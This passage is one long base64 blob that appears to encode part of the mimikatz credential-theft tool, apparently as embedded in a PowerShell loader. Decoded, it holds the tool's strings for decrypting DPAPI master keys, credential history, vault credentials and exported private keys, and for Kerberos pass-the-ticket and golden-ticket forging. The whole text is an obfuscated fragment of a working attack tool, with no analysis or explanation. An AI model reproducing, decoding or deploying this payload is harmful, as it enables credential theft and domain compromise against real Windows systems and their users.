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AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAAAAAACoAKgAgAE0AQQBDAEgASQBOAEUAIAAqACoACgAAAAAAKgAqACAAVQBTAEUAUgAgACoAKgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAEQAUABBAFAASQBfAFMAWQBTAFQARQBNADoAIAAAAAAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAAAAAACAAKABzAGgAYQAxACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkACgAAAAAAAABwAHYAawAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUwBBACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABzAGgAYQAxAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQ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AdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAAAAHIAYQB3AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEkAbgBwAHUAdAAgAEMAQQBQAEkAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABQAHIAbwBwAGUAcgB0AGkAZQBzADoACgAAADZqbmtkNUozWmRRRHRyc3UAAAAAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAAAAAAAAcAB0AHQAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABsAGkAcwB0AAAAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAAB0AGcAdAAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAAAAAAHAAdQByAGcAZQAAAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAGcAbwBsAGQAZQBuAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAASABhAHMAaAAgAHAAYQBzAHMAdwBvAHIAZAAgAHQAbwAgAGsAZQB5AHMAAAAAAAAAcAB0AGMAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAAAAAABjAGwAaQBzAHQAAAAAAAAAAAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAcwAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAlADMAdQAgAC0AIABEAGkAcgBlAGMAdABvAHIAeQAgACcAJQBzACcAIAAoACoALgBrAGkAcgBiAGkAKQAKAAAAXAAqAC4AawBpAHIAYgBpAAAAAABcAAAAIAAgACAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAAAAAAAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAAAAAACAAOwAgAAAAAAAAAAAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAAAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAAAGsAaQByAGIAaQAAAAAAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAdABpAGMAawBlAHQALgBrAGkAcgBiAGkAAAAAAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAAAAAAHUAcwBlAHIAAAAAAAAAAABkAG8AbQBhAGkAbgAAAAAAZABlAHMAAAByAGMANAAAAGsAcgBiAHQAZwB0AAAAAABhAGUAcwAxADIAOAAAAAAA